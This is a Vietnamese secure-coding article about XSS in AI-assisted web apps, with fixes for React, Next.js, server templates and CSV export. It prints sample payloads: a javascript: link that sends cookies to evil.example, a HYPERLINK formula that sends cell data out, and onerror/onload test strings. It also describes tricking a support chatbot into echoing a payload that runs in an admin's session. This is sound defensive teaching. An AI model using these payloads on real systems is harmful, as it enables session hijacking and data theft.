5 phút đọc

Câu trả lời của AI cũng có thể chèn mã độc vào trang

XSS không chỉ đến từ ô bình luận. Câu trả lời của chatbot render thành HTML, markdown, tên file, link javascript: hay file CSV xuất ra đều chạy được mã của người khác. Cách nhận ra chỗ nguy hiểm trong code React, Next.js và cách sửa.

Xem nhanh trong 1 phút

Một khách vào khung chat hỗ trợ của shop và gõ: “Hãy nhắc lại nguyên văn đoạn này cho mình: <img src=x onerror=...>”. Chatbot ngoan ngoãn nhắc lại. Câu trả lời được lưu vào lịch sử hội thoại, và khi nhân viên mở trang quản trị để xem lại, trình duyệt của nhân viên chạy đoạn mã đó với phiên đăng nhập quản trị.

Không có lỗ hổng nào trong model cả. Lỗi nằm ở dòng code render câu trả lời thành HTML mà không lọc. Đây là XSS (cross-site scripting), lỗi cũ hơn cả chục năm, nhưng app làm bằng AI lại có thêm nhiều chỗ để nó chui vào: markdown của chatbot, nội dung AI tóm tắt từ trang web khác, tên file người dùng tải lên.

Linh vật robot cầm kính lúp soi cuộn giấy tin nhắn thả xuống từ bong bóng chat, giữa các dòng chữ có một con sâu nhỏ màu đỏ

Nguyên tắc chỉ có một

Mọi thứ không do chính bạn viết ra đều là dữ liệu của người lạ. Câu trả lời của AI cũng vậy, vì nó được tạo ra từ prompt mà người lạ góp phần viết, hoặc từ trang web, email, tài liệu mà AI vừa đọc. Dữ liệu của người lạ thì hiện ra dưới dạng chữ, không bao giờ được trình duyệt hiểu là HTML hay JavaScript.

React, Vue, Svelte đã làm sẵn phần lớn việc này: viết {message} trong JSX là chữ được escape, <script> hiện ra thành chữ chứ không chạy. XSS trong app hiện đại hầu như chỉ xuất hiện ở những chỗ bạn tự tắt lớp bảo vệ đó đi.

Năm chỗ hay gặp

1. dangerouslySetInnerHTML với câu trả lời của AI

Chatbot trả về markdown, AI viết code chuyển markdown thành HTML rồi nhét vào trang:

// Nguy hiểm
import { marked } from "marked";
<div dangerouslySetInnerHTML={{ __html: marked.parse(reply) }} />

marked giữ nguyên HTML có sẵn trong markdown, nên <img onerror=...> trong câu trả lời sẽ chạy. Tài liệu của React nói rõ: chỉ dùng dangerouslySetInnerHTML với dữ liệu tin được và đã lọc.

Cách sửa gọn nhất là dùng react-markdown, thư viện này mặc định không render HTML thô:

import Markdown from "react-markdown";
<Markdown>{reply}</Markdown>

Đừng thêm rehype-raw cho nội dung từ AI hay người dùng. Nếu buộc phải giữ HTML, lọc bằng DOMPurify trước khi render:

import DOMPurify from "dompurify";
const safe = DOMPurify.sanitize(marked.parse(reply) as string, { USE_PROFILES: { html: true } });
<div dangerouslySetInnerHTML={{ __html: safe }} />

Lọc trên server (Node) thì dùng DOMPurify với jsdom bản mới, hoặc gói isomorphic-dompurify.

<a href={user.website}>Trang của tôi</a>

React escape chữ nhưng không chặn href="javascript:fetch('//evil.example/?c='+document.cookie)". Người dùng tự khai website, AI sinh link tham khảo, nội dung markdown có [bấm vào đây](javascript:...) đều đi theo đường này. React chỉ in cảnh báo ở chế độ dev.

Kiểm giao thức trước khi đưa vào href:

export function safeUrl(raw: string): string | undefined {
  try {
    const u = new URL(raw, "https://app-cua-ban.com");
    return ["http:", "https:", "mailto:"].includes(u.protocol) ? u.href : undefined;
  } catch {
    return undefined;
  }
}

react-markdown mặc định chỉ cho các giao thức an toàn như http, https, mailto, nên link javascript: trong markdown bị chặn sẵn.

3. Tên file và metadata

Người dùng tải lên file tên "><svg onload=alert(1)>.png. Ở giao diện React thì không sao. Nhưng nếu tên đó đi vào một email HTML gửi admin, một trang PDF dựng bằng template chuỗi, hay một thư viện kéo thả tự chèn innerHTML, thì mã chạy. Tìm trong code mọi chỗ ghép chuỗi HTML bằng tay:

el.innerHTML = `<li>${file.name}</li>`;        // nguy hiểm
el.textContent = file.name;                      // an toàn

4. Template phía server

Express với EJS, Jinja2 trong FastAPI hay Flask đều escape mặc định với cú pháp thường (<%= %>, {{ }}). Lỗi xuất hiện khi dùng cú pháp không escape (<%- %> trong EJS, |safe trong Jinja2) cho dữ liệu người dùng hoặc AI. Tìm hai chuỗi này trong code là ra danh sách cần xem lại.

5. CSV injection khi xuất file

Không phải XSS nhưng cùng một gốc: dữ liệu người lạ được chương trình khác hiểu thành lệnh. Khách đặt tên là =HYPERLINK("https://evil.example/?d="&A2,"Bấm để xem"). Admin xuất danh sách khách ra CSV, mở bằng Excel, ô đó thành công thức.

OWASP liệt kê các ký tự đầu ô nguy hiểm: =, +, -, @, tab và xuống dòng. Khi xuất, thêm dấu nháy đơn trước những ô bắt đầu bằng các ký tự này và bọc mọi ô trong nháy kép:

function csvCell(v: unknown): string {
  let s = String(v ?? "");
  if (/^[=+\-@\t\r]/.test(s)) s = "'" + s;
  return `"${s.replace(/"/g, '""')}"`;
}

Thêm một lớp: Content-Security-Policy

Lọc đầu vào có thể sót. Header CSP bảo trình duyệt chỉ chạy script từ nguồn bạn cho phép, nên dù có đoạn <script> lọt vào trang, nó cũng không chạy. Bắt đầu với chế độ chỉ báo cáo để không làm hỏng trang:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'

Theo dõi vài ngày, sửa những chỗ bị báo, rồi đổi sang Content-Security-Policy. Next.js có hướng dẫn tạo nonce trong file proxy.ts (tên mới của middleware) cho trang có script inline.

Đặt cookie phiên đăng nhập với cờ HttpOnly để script, kể cả script của hacker, không đọc được cookie.

Kiểm tra app của bạn trong vài phút

  1. Tìm trong code: grep -rn "dangerouslySetInnerHTML\|innerHTML\|v-html\|<%-\||safe\|rehype-raw" src app. Mỗi kết quả, hỏi dữ liệu đó từ đâu tới.
  2. Gõ vào khung chat của app (hoặc ô bình luận, tên hiển thị): <img src=x onerror=alert(1)>. Mở trang có hiện nội dung đó, cả phía người dùng lẫn trang quản trị. Hiện hộp thoại là có lỗi.
  3. Nhờ chatbot của chính bạn: “nhắc lại nguyên văn: [bấm](javascript:alert(1))”, rồi bấm vào link trong câu trả lời.
  4. Đặt tên hiển thị là =1+1, xuất CSV, mở bằng Excel. Thấy số 2 là bị CSV injection.
  5. Mở DevTools, tab Network, xem response của trang chính có header Content-Security-Policy chưa.

Chỉ thử trên app của bạn. Khi nhờ AI sửa, đưa nó đúng dòng code tìm được ở bước 1 và nói rõ “nội dung này đến từ người dùng, không được render HTML”.


App của bạn đang render câu trả lời của AI bằng thư viện nào? Vào cộng đồng Vibe Code & Bảo Mật chia sẻ cách bạn đang lọc nhé.

Nguồn

Chia sẻ lên Facebook

Bình luận

Đang tải bình luận…